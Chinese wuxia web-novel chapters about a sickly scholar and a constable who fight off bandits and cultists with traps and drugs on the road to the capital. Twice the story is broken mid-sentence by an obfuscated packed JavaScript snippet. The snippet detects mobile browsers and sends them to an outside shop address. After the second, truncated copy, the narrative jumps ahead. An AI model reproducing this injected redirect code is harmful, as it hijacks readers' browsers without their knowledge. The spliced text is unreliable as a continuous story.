江清砚放下书卷，从袖中取出一张手绘的地图——那图绘在素绢上，墨迹清晰，山川河流、驿站村落标注得一丝不苟，甚至还有些细小的注记，写着某段路“夏多泥泞”、某处林“曾有匪患”。 谢云辞睁眼瞥见，心中又是一惊。这样详实的地图，绝非市面上能买到的货色。 “你画的？”他问。 “嗯。”江清砚手指轻点图上一条蜿蜒的细线，“走山径。官道虽平坦，但要经过‘黑石峪’，那里近半年出了三起劫案，官府至今未破。山径虽险，但沿途有猎户村落，若有变故，可寻助力。” 他说得条理分明，像是早已将这条路研究过千百遍。谢云辞看着他苍白清瘦的侧脸，忽然意识到：这个看似文弱的书生，其实是个极谨慎的谋士。 “你怎知黑石峪的劫案？”谢云辞忍不住问。 “每过一城，我便去茶馆坐半个时辰。”江清砚收起地图，语气平淡，“贩夫走卒、衙门小吏、过往客商……他们闲谈时说的话，拼凑起来，便是最真实的路况。” 谢云辞沉默了。 他忽然想起六扇门里那些专司情报的老吏——他们也是这般，从市井流言、账簿票据、甚至青楼歌女的闲谈里，抽丝剥茧出线索。可那些人是吃了几十年公门饭的老油子，而眼前这个少年，才十七岁。 “你……”谢云辞开口，又顿住。他发现自己在江清砚面前，总是问出一些笨拙的问题。 “我惜命。”江清砚替他接了下去，唇角浮起一丝极淡的笑意，“既决定要走这条路，总要把能做的准备都做足。” 他说着，又从书箱底层摸出一个小布包，打开，里面是十几枚铜钱大小的铁片，边缘磨得锋利，中间穿孔，系着细细的丝线。 “这是什么？”谢云辞拿起一枚细看。 “绊索镖。”江清砚接过来，手指在铁片边缘一抹——那看似平滑的边缘竟弹出三根倒刺，寒光凛凛，“埋在路上，丝线横拉，马腿踏中，倒刺弹出，能伤马腿。丝线淬了麻药，人若绊倒，沾肤即麻。” 他说得轻描淡写，谢云辞却听得背脊发凉。这玩意儿阴毒得很，专攻下盘，在狭窄山道上简直是噩梦。 “你做了多少？”他问。 “够用。”江清砚将布包重新收起，“但愿用不上。” 马车在午时抵达岔路口。忠伯勒住马，回头询问。江清砚撩开车帘看了看——官道宽阔平坦，偶有车马往来；山径入口隐在茂林之后，只容一车通过，蜿蜒没入深翠之中。 “走山径。”江清砚道。 忠伯应了一声，调转马头。车轮轧上碎石路，颠簸陡然加剧。江清砚身子晃了晃，被谢云辞伸手扶住胳膊。那手臂细得惊人，隔着衣袖都能感觉到骨头的形状。 “多谢。”江清砚稳住身形，手却按在了胸口，脸色又白了几分。 “你的药。”谢云辞提醒。 江清砚摇头：“一日不能过三粒，会伤根本。”他闭上眼，深深吸气，再缓缓吐出，如此几次，额角的冷汗才渐渐退去。 谢云辞看着他隐忍的侧脸，心头那点异样的感觉又浮了上来。这少年像一根绷得太紧的弦，看似平静，实则随时可能断裂。 马车驶入山林深处。 参天古木遮天蔽日，将午后的阳光滤成碎金，斑斑点点洒在积满落叶的路面上。山风穿过林隙，带来湿润的泥土气息和隐约的溪流声。偶有野兔从道旁窜过，惊起一群山雀。 景色幽静，谢云辞的神经却绷得更紧了。 这种地方，太适合埋伏。 果然，行出约莫十里，前方路面出现了异常——几棵碗口粗的断木横在路中，断口新鲜，显然是刚被人砍倒的。 忠伯勒住马，回头看向车厢。谢云辞已掀帘下车，目光锐利地扫过四周山林。 太安静了。连鸟叫声都没有。 “待在车里。”他对江清砚低声道，手已摸向腰间——虽然无刀，但指间扣住了三枚铜钱。那是他昨夜从江清砚那里要来的，边缘磨得锋利，可作暗器。 江清砚却也从车上下来了。他脸色仍白，但神情镇定，目光缓缓扫过路面、断木、以及道旁一处被踩倒的灌木。 “七个人。”他忽然轻声说，“左前方树后两个，右坡上三个，还有两个在断木后方。拿的都是砍刀、柴斧，不是制式兵器，应该是本地山匪。” 谢云辞猛地看向他：“你怎么知道？” “脚印。”江清砚用脚尖点了点地面一处几不可见的凹陷，“鞋底纹路粗劣，尺寸不一。灌木倒伏的方向显示有人从坡上快速冲下。至于人数……看他们预留的合围空间，七人是最合理的配置。” 他说得有理有据，谢云辞却听得心头震动。这般细致的观察力和推断力，简直像是……像是刑部那些专司现场勘察的老手。 “既然不是专业杀手，便好办。”江清砚从袖中取出那个装“松筋散”的瓷瓶，递给谢云辞，“待他们冲出来，你将药粉撒向空中，记得闭气。余下的，交给我。” 谢云辞接过瓷瓶，指尖触到江清砚冰凉的手指。他深深看了对方一眼，点了点头。 几乎在同时，林中响起一声唿哨！ 七道身影从藏身处跃出，手持利刃，呼喝着扑向马车。为首的是个满脸横肉的疤脸汉子，狞笑着挥刀砍向谢云辞：“留下钱财，饶你们……” 话未说完，谢云辞已动了。 他身形如鬼魅般侧滑半步，避开刀锋，左手一扬——瓷瓶在空中划出弧线，瓶塞不知何时已被弹开，淡黄色的粉末如烟似雾，迎风散开！ 冲在最前的三人收势不及，一头撞进药雾中。他们本能地吸气，随即眼睛瞪大，手中兵器“哐当”落地，整个人软软瘫倒。 “妖术！”余下四人大骇，急急后退。 就在这一退的瞬间，江清砚动了。 他没有上前，反而退到马车旁，俯身，手指在车轮轴上一按——那里有个极隐蔽的机括。“咔哒”轻响，车厢底板突然弹开几块木板，数十枚铁蒺藜“哗啦啦”撒了一地！ 那些铁蒺藜每个都有拳头大小，生满倒刺，在落叶间闪着幽蓝的光——显然也淬了毒。 冲在后面的两个山匪收脚不及，一脚踩中，惨叫声顿时撕破山林！他们抱着脚在地上翻滚，不过几个呼吸，便抽搐着不动了。 剩下最后两人，一个疤脸头目，一个瘦高个，已吓得魂飞魄散。他们看着地上瞬间倒下的五个同伴，又看看那个苍白清瘦、仿佛风一吹就倒的书生，再也不敢上前。 “好汉饶命！好汉饶命！”瘦高个率先扔了刀，跪地磕头，“小的们有眼不识泰山，求好汉给条活路！” 疤脸头目脸色铁青，握着刀的手在发抖，却还强撑着：“你们……你们到底是什么人？！” 谢云辞没回答。他走到那三个中了“松筋散”的山匪身边，俯身检查——呼吸平稳，只是浑身无力，确实不伤性命。他回头看了江清砚一眼，少年站在马车旁，神色平静，仿佛刚才撒出铁蒺藜的不是他。 “收拾东西，走吧。”江清砚对忠伯道，又看向谢云辞，“他们十二个时辰后自会醒来，不必管了。” 谢云辞点头，转身欲走。疤脸头目却忽然嘶声喊道：“等等！你们……你们可是要去京城？！” 江清砚脚步一顿。 疤脸头目像是抓住救命稻草，急急道：“往前二十里，过‘鬼见愁’峡谷，近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863480|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日有伙强人设卡！他们不像我们只劫财，那是真杀人的主！你们、你们若信我，可绕道西边的猎户村，虽然远些，但安全！” 江清砚转过身，静静看着他：“为何告诉我们？” 疤脸头目苦笑：“今日栽在二位手里，我们认了。但那伙人……上个月劫了一支商队，三十五口，没留一个活口。我们虽落草，但不敢做那种绝户事。算是……算是积点阴德吧。” 谢云辞与江清砚对视一眼。 “猎户村怎么走？”江清砚问。 瘦高个连忙爬起来，指着西边一条几乎被荒草淹没的小道：“从这儿进去，走七八里，见着三棵并生的老槐树往右拐，再走三四里就能看见村子。村里人实在，给些银钱，能带你们穿山过去，绕开鬼见愁。” 江清砚从袖中取出一小块碎银，抛给瘦高个：“多谢。” 说罢，转身上车。谢云辞深深看了那两个山匪一眼，也跟了上去。 忠伯调转马头，马车碾过落叶，驶入那条荒草丛生的小径。待车厢消失在林深处，疤脸头目才一屁股坐倒在地，抹了把额头的冷汗。 “大哥，那书生……邪门啊。”瘦高个凑过来，心有余悸。 疤脸头目看着地上昏迷的兄弟，又看看西边小径，忽然低声道：“那两人，不是普通人。尤其是那书生……他那双眼睛，太清了，清得让人发毛。” “咱们还劫道吗？” “劫个屁！”疤脸头目啐了一口，“收拾东西，换个山头。这地方……不能待了。” 马车在小径上颠簸前行。 车厢里，江清砚闭目养神，呼吸仍有些急促。方才虽未亲自出手，但精神高度紧绷，又诱发了心疾。他含了药，静静调息。 谢云辞看着他苍白的脸，忽然开口：“你怎知他们会说出鬼见愁的事？” 江清砚睁开眼，眸子里闪过一丝倦意，却依然清亮。 “人性。”他缓缓道，“他们落草为寇，无非求财。既已败露，为求活命，总要拿出些有价值的东西交换。鬼见愁的事，便是他们的买命钱。” “你信他们的话？” “七分信。”江清砚从怀中取出地图，手指在上面移动，“你看，鬼见愁峡谷地势险要，一夫当关。若真有强人设卡，确是绝地。而猎户村……”他指尖点在西侧一处标记，“我地图上有注，村中多猎户，熟悉山路。绕道虽远，但稳妥。” 谢云辞看着他那张详尽得可怕的地图，忽然觉得，自己这趟京城之行，或许会因为身边这个少年，变得完全不一样。 “你总是算得这么清楚吗？”他忍不住问。 江清砚抬起眼，静静看了他片刻，忽然轻轻笑了。 那笑意很淡，却莫名有些苍凉。 “我这样的人，”他低声道，“没有多少犯错的余地。走错一步，可能就是死。” 谢云辞心头一震。 他看着少年重新闭目养神的侧脸，看着那纤长睫毛下淡淡的青影，忽然意识到：这个看似从容淡定的书生，其实每一天都走在悬崖边上。他的命太薄，薄到一阵风、一场雨、一次意外，都可能将他带走。 所以他才要算，要谋，要把所有能掌控的变数都握在手里。 因为除此之外，他别无倚仗。 马车驶过一处溪流，水声潺潺。阳光透过枝叶缝隙，在车厢内投下摇曳的光斑。 谢云辞忽然开口，声音很低，却异常清晰： “到京城之前，你不会死。” 江清砚睁开眼，看向他。 “我答应过护你周全。”谢云辞迎着他的目光，一字一句道，“我从不食言。” 四目相对。 车厢里安静得能听见彼此的呼吸声。许久，江清砚轻轻点了点头。 “我信。”他说。 然后他重新闭上眼，唇角却浮起一丝极淡、却真实的笑意。 马车继续前行，碾过落叶，碾过光影，碾过这萍水相逢却悄然生根的信任。 前路依然凶险，但至少这一刻，他们都不是独行。 5. 第 5 章 第五章林间杀阵 猎户村藏在深山褶皱里，几十户人家散落在溪流两岸，屋顶铺着厚厚的茅草，墙是山石垒的，缝隙里长着青苔。日头偏西时，马车碾过村口的木桥，惊起一群在溪边饮水的山雀。 几个正在修补渔网的汉子抬起头，目光警惕地打量着这辆突兀闯入的马车。其中一个年长的站起身，手里还攥着半截麻绳，朝车厢走来。 “客人打哪儿来？”他问，声音粗嘎，带着浓重的北地口音。 忠伯停下车，赔着笑正要答话，江清砚已掀帘下车。他换了身半旧的靛青布衣，长发用木簪简单束起，脸色虽仍苍白，但神色温润平和，对着那猎户长揖一礼： “老丈安好。学生江清砚，润州人士，与表兄同去京城赶考。途经此地，听闻前方鬼见愁峡谷不太平，想请贵村熟悉山路的乡亲带个路，绕道过去。酬劳好说。” 他说话不急不缓，礼数周全，又亮出赶考举子的身份，那老猎户神色缓和了些。他上下打量江清砚，又看了看随后下车、沉默站在一旁的谢云辞——后者虽换了布衣，但身姿挺拔，眼神锐利，一看就不是寻常书生。 “鬼见愁啊……”老猎户咂咂嘴，摇头，“那地方确实去不得。上个月有伙外来的强人占了峡谷，专劫过往客商，狠着呢。村里王老六上月出山卖皮子，差点折在那儿。” “所以才来叨扰。”江清砚从袖中取出一小块碎银，约莫二两重，双手奉上，“不知老丈可否行个方便？” 银子在夕阳下泛着温润的光。老猎户眼睛亮了亮，却又犹豫：“带路倒是不难，只是……”他看了看天色，“今日晚了，山里有狼，夜里走不得。客人若是不嫌弃，可在村里歇一晚，明日一早，我让我家大小子带你们过去。” 江清砚与谢云辞对视一眼，点了点头：“那便叨扰了。” 老猎户姓陈，村里人都叫他陈老栓。他将二人领到自家院子——三间石屋围成个小院，院里晾着兽皮，墙角堆着柴禾，灶房飘出煮野菜的香气。一个十七八岁的黑壮少年正在院里劈柴，见有生人来，停下斧子好奇地打量。 “这是我家大小子，陈虎。”陈老栓介绍，“明日让他带你们走。” 陈虎咧嘴一笑，露出一口白牙，朝两人抱了抱拳，又埋头继续劈柴。斧头落下，木柴应声而裂，干净利落。 江清砚谢过，让忠伯将马车赶进院里拴好。陈老栓的妻子是个瘦小的妇人，话不多，默默收拾出一间偏屋，又抱来干净的被褥。虽是陋室，但收拾得整洁。 晚饭是杂粮饼子、山野菜汤，还有一小碟腌鹿肉。陈老栓一家话不多，只埋头吃饭，偶尔抬眼看看这两个气质迥异的“表兄弟”。 “客人是读书人？”陈老栓忽然问。 “是。”江清砚答。 “去京城考状元？” “尽力而为。” 陈老栓点点头，不再多问。倒是陈虎忍不住开口：“我听说京城可大了，房子比山还高，街上人挤人，真的？” 江清砚笑了笑：“京城确实繁华。不过山有山的好，水有水的妙。各安其所罢了。” 他说得温和，陈虎听得似懂非懂，却咧嘴笑了：“你这人说话真好听。” 谢云辞始终沉默吃饭，目光却将屋内屋外扫了个遍——门窗结实，院墙一人多高，院门有闩。看似寻常农家，但墙角堆着的柴禾里，混着几根削尖的木桩；屋檐下挂着的，除了干辣椒，还有两张硬弓、一壶箭。 这家人，不简单。 饭后，陈老栓提了盏油灯，送二人回偏屋。油灯昏黄的光在石墙上投下摇曳的影子，山风穿过门缝，发出呜呜的轻响。 “夜里若有动静，莫要出来。”陈老栓在门口站定，压低声音，“这山里……不太平。” 江清砚心中一动：“老丈指的是？” 陈老栓犹豫片刻，才道：“前些日子，村里有人夜里听见狼嚎，可那声音……不像真狼。后来有人在西山坳里发现几具尸首，看衣裳像是行商的，身上没外伤，就是……”他顿了顿，“脖子都被咬穿了，血被吸干了。” 油灯的光猛地一跳。 江清砚神色微凝：“吸血？” “村里老人说是‘山魈’作祟。”陈老栓声音压得更低，“那东西专在夜里出来，吸人血，吃人心。客人夜里切记关好门窗，无论听见什么，都别出来。” 他说完，匆匆提着灯走了，像是怕多说一句都会招来不祥。 偏屋里只剩下江清砚和谢云辞。油灯放在木桌上，火苗跳跃，将两人的影子长长地投在墙上。 “你怎么看？”谢云辞忽然问。 江清砚在床边坐下，从行李中取出那卷《通鉴》，却并未翻开。他指尖轻叩书脊，沉吟片刻：“伤口在脖颈，吸血……听起来像是江湖中流传的‘血蝠功’。” 谢云辞瞳孔微缩：“你知道？” “书上见过。”江清砚抬起眼，“前朝魔教‘血衣门’的邪功，以人血练功，修炼者需定期吸食活人鲜血，否则会经脉逆转而死。但血衣门六十年前就被朝廷剿灭了，传承应已断绝。” “未必。”谢云辞走到窗边，透过缝隙看向漆黑的院落，“魔教余孽，最擅藏匿。若真有传人活下来，躲在深山老林里，也不奇怪。” 江清砚沉默了片刻。 “陈老栓说尸首在西山坳。”他缓缓道，“而明日我们要走的绕道路线，正好经过西山坳边缘。” 谢云辞猛地转身：“你的意思是——” “未必是巧合。”江清砚站起身，走到墙边，手指轻抚过粗糙的石壁，“陈老栓一家，猎户出身，却能在这种地方安稳度日。你看院里的布置，墙角木桩削尖的角度，屋檐下弓箭悬挂的位置……都是精心设计过的防御工事。” 他转过身，目光清亮地看着谢云辞：“这村里的人，恐怕不是第一次应对‘山魈’了。” 谢云辞心头一凛。他重新审视这个看似平静的小村——夜色中的石屋沉默伫立，窗隙里透出零星灯火，偶有犬吠从远处传来，更衬得山村静谧。 可这静谧之下，藏着什么？ “明日还要赶路，先歇息吧。”江清砚吹熄油灯，只留桌上一点如豆的烛火，“我守上半夜，你守下半夜。” “你身体——” “无妨。”江清砚已在床边盘膝坐下，闭目调息，“心疾不发作时，我与常人无异。” 谢云辞不再多说。他在对面床上和衣躺下，手却按在腰间——那里藏着一把匕首，是临行前江清砚从行李中翻出来给他的，虽不及他的雁翎刀顺手，但总好过赤手空拳。 烛火摇曳，将两人的影子投在墙上，时而交叠，时而分开。 夜渐渐深了。 山风渐急，吹得窗纸哗啦作响。远处传来隐约的狼嚎，悠长凄厉，在群山中回荡。但那声音……确实有些异样。不似真狼的嚎叫，倒像是人在模仿，只是模仿得惟妙惟肖，几乎可以假乱真。 谢云辞闭着眼，呼吸平稳绵长，实则五感全开。他能听见隔壁陈老栓一家均匀的呼吸声，能听见院外溪流的潺潺水声，能听见风吹过林梢的沙沙声…… 还有，某种极轻的、踩过落叶的脚步声。 不止一个。 谢云辞倏然睁眼，与同时睁开眼的江清砚目光相撞。两人都没有动，只是静静听着。 脚步声很轻，很稳，显然有功夫在身。他们在院外停住了，似乎在观察。片刻后，有人低声说了句什么，声音压得极低，听不真切。 接着，院墙外传来极轻微的“咔哒”声——像是有人在撬门闩。 江清砚无声地滑下床，走到窗边，透过缝隙朝外望去。月光被云层遮挡，院落里一片漆黑，只能隐约看见几个黑影贴在院墙外，动作敏捷。 他退回床边，从枕下摸出那个装绊索镖的布包，快速系在腰间。又取出一个巴掌大的皮囊，里面是淬了麻药的钢针。 谢云辞也已起身，匕首出鞘，寒光凛冽。 就在这时，院门处传来“咯吱”一声轻响——门闩被撬开了！ 黑影如鬼魅般闪入院中，足有六七人，俱是黑衣蒙面，手持短刃，动作整齐划一，直扑正屋和偏屋！ 江清砚与谢云辞几乎同时动了。 江清砚并未迎敌，反而退到墙边，手指在石壁某处一按——那里有个极隐蔽的凹槽。只听“咔哒”轻响，偏屋的窗框突然弹起几根细如发丝的金属线，纵横交错，封死了整个窗口！ 冲在最前的两个黑衣人收势不及，一头撞在线网上。那线看似纤细，却锋利无比，瞬间割破衣物皮肉！更可怕的是，线上淬了剧毒，伤口处立刻泛起黑紫色，两人惨叫着倒地抽搐。 余下黑衣人骇然止步。 而谢云辞已如猎豹般扑出！他身形快得只剩残影，匕首在月光下划出冷冽的弧线，直取第三人咽喉！那人急退格挡，金铁交击声刺破夜空！ 几乎同时，正屋的门猛然打开！陈老栓手持猎叉冲出，身后跟着手持柴刀、弓箭的陈虎母子！他们显然早有防备，动作迅捷狠辣，猎叉直刺一个黑衣人后心！ 院中顿时陷入混战！ 江清砚没有加入战团。他退到墙角，目光迅速扫过全场——黑衣人七个，己方五人（算上忠伯），人数劣势，但陈老栓一家身手出乎意料的好，尤其是陈虎，一柄柴刀舞得虎虎生风，竟逼得两个黑衣人节节败退。 而谢云辞……江清砚的目光落在他身上。 那是真正的杀人之术。 没有花哨的招式，没有多余的动作，每一次出刀都精准、简洁、致命。匕首在他手中仿佛有了生命，刺、抹、挑、割，每一个动作都直取要害。不过几个呼吸，已有两个黑衣人倒在他刀下，伤口都在颈侧或心口，一刀毙命。 江清砚忽然想起书上对六扇门总捕头的描述——“掌刑名，司缉捕，杀伐决断，不拘常法”。谢云辞的刀法，确实配得上“杀伐决断”四字。 但黑衣人显然也不是庸手。余下三人见势不妙，忽然齐齐后撤，其中一人从怀中掏出一个竹筒，对着谢云辞一扬—— “小心！”江清砚厉喝，手中已弹出一枚钢针！ 钢针破空，精准地打在竹筒上！竹筒偏了方向，筒中喷出的黑色液体洒在地上，顿时“嗤嗤”冒起白烟，竟是剧毒腐蚀液！ 那黑衣人见一击不中，怪叫一声，三人同时掷出数枚黑乎乎的弹丸！ “闭气！”江清砚急喝，已率先掩住口鼻。 弹丸落地炸开，浓密的黑烟瞬间弥漫整个院落！烟雾刺鼻呛人，带着强烈的麻痹效果。陈虎母子猝不及防吸入一口，顿时头晕目眩，动作迟滞。 黑衣人趁机猛攻！一人缠住谢云辞，两人直扑已摇摇欲坠的陈虎母子！ 千钧一发之际，江清砚动了。 他没有上前，反而俯身，手指在地上快速摸索——那里有他傍晚时分悄悄埋下的几处机关。指尖触到某个凸起，用力一按！ “嗖嗖嗖——” 数支短弩从墙角、柴堆、甚至屋檐下激射而出！弩箭虽短，但劲力十足，且淬了麻药，瞬间封死了黑衣人所有的进攻路线！ 那两人骇然急退，其中一人小腿中箭，闷哼一声倒地。另一人狼狈躲闪，却撞上了从烟雾中扑出的谢云辞！ 匕首寒光一闪，没入咽喉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陈岩深深看了他一眼，没再多说，转身去查看那些黑衣人尸体。他翻检得很仔细，尤其注意他们衣领袖口、兵刃形制、甚至鞋底纹路。 江清砚也走过来，蹲下身，从怀中取出一个牛皮小袋，倒出些白色粉末，撒在一具尸体的伤口上。粉末遇血变色，由白转青。 “箭上有毒。”他轻声道，“但不是致命毒，只是麻痹。” 陈岩猛地抬头看他：“小兄弟懂毒？” “略知一二。”江清砚站起身，拍了拍手上的灰，“这些人训练有素，配合默契，不是普通山匪。更奇怪的是……” 他指了指其中一具尸体的手：“虎口、指关节的茧子分布，是常年用刀留下的。但他们的刀法，却夹杂着军中的劈砍套路和江湖的诡谲招式。像是……受过统一训练，但又混杂了不同路数。” 陈岩眼神微变。 谢云辞心中也是一凛。江清砚的观察力，细致得可怕。 “先收拾了吧。”陈老栓叹了口气，“尸体不能留村里，惹晦气。陈大哥，你看……” “我来处理。”陈岩站起身，“你们先进屋，今夜我守夜。” 众人默默收拾残局。陈虎母子扶着陈老栓回正屋上药，忠伯惊魂未定地收拾偏屋。江清砚和谢云辞回到房中，关上门，油灯重新点亮。 烛火摇曳，映着两人凝重的脸。 “你怎么看？”谢云辞低声问。 江清砚在桌边坐下，手指无意识地轻叩桌面：“陈岩在说谎。他的箭术、身手，绝不是县衙衙役该有的水平。还有那些黑衣人……” 他抬起眼，目光清亮：“他们是冲着我们来的。” 谢云辞心头一沉：“何以见得？” “时机太巧。”江清砚缓缓道，“我们傍晚刚到，夜里就遭袭。而且，他们明显分了兵——四人缠斗，三人直扑偏屋。若只是寻常劫掠，该集中力量先拿下正屋，控制主家。可他们的目标很明确:先解决我们这两个‘外来客’。” 他顿了顿，声音更轻：“更关键的是，陈岩出现的时机。” 谢云辞眼神锐利起来：“你是说——” “他早就在屋顶了。”江清砚道，“黑衣人翻墙时，他就在。可他等到最后才出手，一箭毙命，不留活口。” 不留活口。 这四个字像冰锥，刺破了夜色的伪装。 谢云辞走到窗边，透过缝隙看向院落。陈岩正指挥陈虎将尸体搬上板车，动作熟练得仿佛常做这种事。月光照在他冷峻的侧脸上，投下深深的阴影。 “这村子，不简单。”谢云辞低声道。 “这整件事，都不简单。”江清砚轻轻咳嗽两声，脸色又白了几分，“从破庙追杀，到鬼见愁传言，再到今夜袭击……一环扣一环，像是有人早就布好了局，等我们往里钻。” 谢云辞转身看他：“你觉得是谁？” 江清砚沉默良久，才轻轻摇了摇头。 “我不知道。”他声音很轻，却异常清晰，“但我知道，从我们决定同行的那一刻起，就已经趟进了这浑水里。” 他抬起眼，看向谢云辞，烛火在他眸子里跳跃，映出一种近乎透明的坚定。 “所以，更要走到京城。只有到了那里，才能看清这局棋的全貌。” 谢云辞与他对视。 许久，他点了点头。 “好。”他说，“我护你到京城。” 这一次，承诺的重量，比之前任何一次都要沉。 因为他们都清楚——前路要面对的，恐怕不止是山匪、强人，还有藏在暗处、不知深浅的对手。 但既然已经同行，便没有退路。 窗外，陈岩将最后一具尸体搬上车，板车轱辘轱辘驶出院子，消失在夜色深处。 山村重归寂静，仿佛刚才那场厮杀从未发生。 可所有人都知道，有些东西，已经不一样了。 6. 第 6 章 第六章夜话生平 板车的轱辘声渐行渐远，最终没入山林深处，连带着七具尸首和今夜的血腥气一并带走。陈岩回来时，东方已泛起鱼肚白。他提着水桶冲洗院中血迹，动作麻利，神情平静得像是在打扫寻常落叶。 江清砚和谢云辞站在偏屋门口，看着他。 “陈捕头。”江清砚忽然开口。 陈岩动作一顿，缓缓直起身。他没否认这个称呼，只是转过身，目光平静地看向二人：“江公子好眼力。” “寻常衙役，不会有那般箭术，更不会对处理尸体如此熟稔。”江清砚缓缓走下台阶，“陈捕头在县衙，恐怕不只是‘当差’那么简单。” 陈岩沉默片刻，将水瓢扔回桶里，溅起一片水花。 “我是蓟州县衙总捕头。”他终于承认，“奉上命，在此暗查一桩案子。” 谢云辞眼神微凝：“什么案子？” 陈岩没有立刻回答。他走到院中石磨旁坐下，从怀里摸出个烟袋，点燃，深深吸了一口。烟雾在晨光中缭绕，模糊了他冷峻的面容。 “三位可知道，‘血衣门’？”他问。 江清砚与谢云辞对视一眼。 “前朝魔教，以人血练功，六十年前被朝廷剿灭。”江清砚答。 “剿灭？”陈岩冷笑一声，“那是朝廷对外说的。实际上，血衣门当年虽遭重创，但并未根除。余孽化整为零，散入江湖，有的甚至……混入了官府。” 烟袋锅里的火星明明灭灭。 “三年前，蓟州境内开始出现离奇命案。”陈岩声音低沉，“死者皆是青壮男子，脖颈有咬痕，浑身血液被吸干。起初只是偏远村落，后来蔓延到集镇，甚至县城。三年，十七起命案，四十九条人命。” 他抬起眼，目光如刀：“衙门查了三年，线索却总在关键时刻断掉。直到上月，我们追查到西山坳，发现了那伙强人的踪迹——他们占着鬼见愁峡谷，表面劫道，实则暗中掳掠过往客商，供人练功。” 江清砚心中一动：“所以鬼见愁的传言，是你们故意放出去的？” “是。”陈岩点头，“我们封锁了峡谷两侧，想逼他们出来。可这伙人狡猾得很，不但不露面，反而变本加厉，将手伸向了附近村落。”他顿了顿，“昨夜那些人，就是血衣门余孽。他们盯上你们，恐怕是察觉了你们身份特殊，想掳去练功。” 谢云辞忽然开口：“陈捕头为何告诉我们这些？” 陈岩看着他，又看看江清砚，忽然笑了：“因为我看得出来，二位也不是普通人。尤其是谢公子——你杀人的手法，干脆利落，是六扇门的路子吧？” 谢云辞瞳孔微缩，手已按向腰间。 “别紧张。”陈岩摆摆手，“我无意探究你的身份。只是想说，既然大家目标一致——你们要平安过山，我要剿灭魔教余孽——不如合作。” “合作？”江清砚轻声问。 “对。”陈岩站起身，走到二人面前，压低声音，“我得到线报，血衣门在附近有个秘密据点，就在猎户村往北三十里的‘老君洞’。那里地形复杂，易守难攻，我们强攻了三次，都无功而返。” 他目光灼灼地看着江清砚：“但若有江公子这样的机关高手，或许……能想出办法。” 晨光渐亮，山鸟开始啼叫。院中血迹已冲洗干净，只留下湿漉漉的青石板，映着天光。 江清砚沉默良久。 他抬起头，看向谢云辞。后者也正看着他，眼神里没有催促，只有询问。 “我需要看看地形图。”江清砚终于开口。 陈岩眼中闪过喜色，立刻从怀中掏出一卷羊皮地图，铺在石磨上。地图绘得粗糙，但山川走势、洞穴位置标注得很清楚。 江清砚俯身细看，手指在老君洞周围缓缓移动。那是一个天然溶洞群，入口隐蔽，内有岔路数十条，暗河穿行，确实易守难攻。 “你们试过火攻？水淹？”他问。 “试过。”陈岩苦笑，“洞里岔路太多，火攻烧不到深处；暗河水流湍急，水淹反而可能把毒物冲出来，伤及无辜。” 江清砚点点头，沉吟片刻，忽然指着地图上一处标记：“这里，是什么？” 陈岩凑近看去：“是一处瀑布，水势很大，从山崖直落洞底，形成深潭。我们查过，那潭水与暗河相通。” “瀑布的水，是活的。”江清砚轻声道，“活水，便可用。” 谢云辞眼神微亮：“你想用毒？” “不是毒。”江清砚摇头，“是药。” 他直起身，看向陈岩：“陈捕头，我需要三样东西:曼陀罗花、醉鱼草、还有……石灰。越多越好。” 陈岩愣了愣：“前两样山里就有，可石灰……” “村里建房，总会备些。”江清砚语气笃定，“若不够，去最近的镇子采买，一日可来回。” 陈岩盯着他看了片刻，忽然抱拳：“好！我这就去办！” 他说完转身就走，雷厉风行。院子里只剩下江清砚和谢云辞，还有刚刚走出正屋、一脸茫然的陈老栓一家。 “江公子，你们这是……”陈老栓搓着手，欲言又止。 “老丈放心。”江清砚温声道，“我们只是帮陈捕头一个小忙，不会牵连村里。” 陈老栓点点头，又摇摇头，叹了口气，带着妻儿回屋了。院中重归寂静。 谢云辞走到江清砚身边，低声道：“你有把握？” “七分。”江清砚看着东方渐亮的天空，“曼陀罗致幻，醉鱼草麻痹，石灰遇水发热，可加速药性挥发。将三者混合，从瀑布上游投入，水流带入溶洞，药雾随水汽弥漫……只要剂量足够，洞中之人，三日之内别想清醒。” 他说得平静，谢云辞却听得心头微震。这不战而屈人之兵的法子，看似温和，实则狠辣——若洞中真有被掳的无辜百姓，也会一并中招。 “若有百姓……”谢云辞皱眉。 “所以剂量要精准。”江清砚看向他，目光清亮，“我算过瀑布水量、洞内空间、空气流通速度。醉鱼草和曼陀罗的混合烟雾，吸入少量只会昏睡，十二个时辰自解。只有长时间暴露在高浓度药雾中，才会伤及神智。” 他顿了顿，声音轻了些:“这是我能想到的，伤亡最小的办法。” 谢云辞看着他苍白的侧脸，忽然意识到——这个少年看似温润，实则骨子里有种近乎冷酷的理性。他算得清剂量，算得清后果，算得清每一步的得失。 这种理性，是在无数次与死亡擦肩而过后，磨砺出来的生存本能。 “你……”谢云辞开口，却不知该问什么。 江清砚却忽然咳嗽起来。他掩着唇，背脊微微颤抖，咳得脸色泛红，额角渗出冷汗。谢云辞下意识扶住他胳膊，触手一片冰凉。 “药……”江清砚喘息着，从怀中摸出玉瓶，却手抖得厉害，险些将药丸洒了。 谢云辞接过玉瓶，倒出一粒赤色药丸，递到他唇边。江清砚就着他的手含下，闭目调息片刻，呼吸才渐渐平稳。 “你这病……”谢云辞皱眉。 “先天心疾，治不好的。”江清砚睁开眼，唇边扯出一丝淡淡的笑意，“能活一日，便赚一日。” 他说得轻描淡写，谢云辞胸口却像被什么堵住了。他想起自己身上的伤，想起那些在刀光剑影里挣扎求生的日夜，忽然觉得，他们其实是同一种人—— 都是把命悬在刀尖上，却偏要往前走的人。 “去屋里歇会儿。”谢云辞扶着他往偏屋走。 江清砚没有拒绝。他确实累了，昨夜守夜，今晨又耗神推算，心疾已到了发作的边缘。他在床边坐下，谢云辞倒了碗温水递给他。 “多谢。”江清砚接过，小口啜饮。 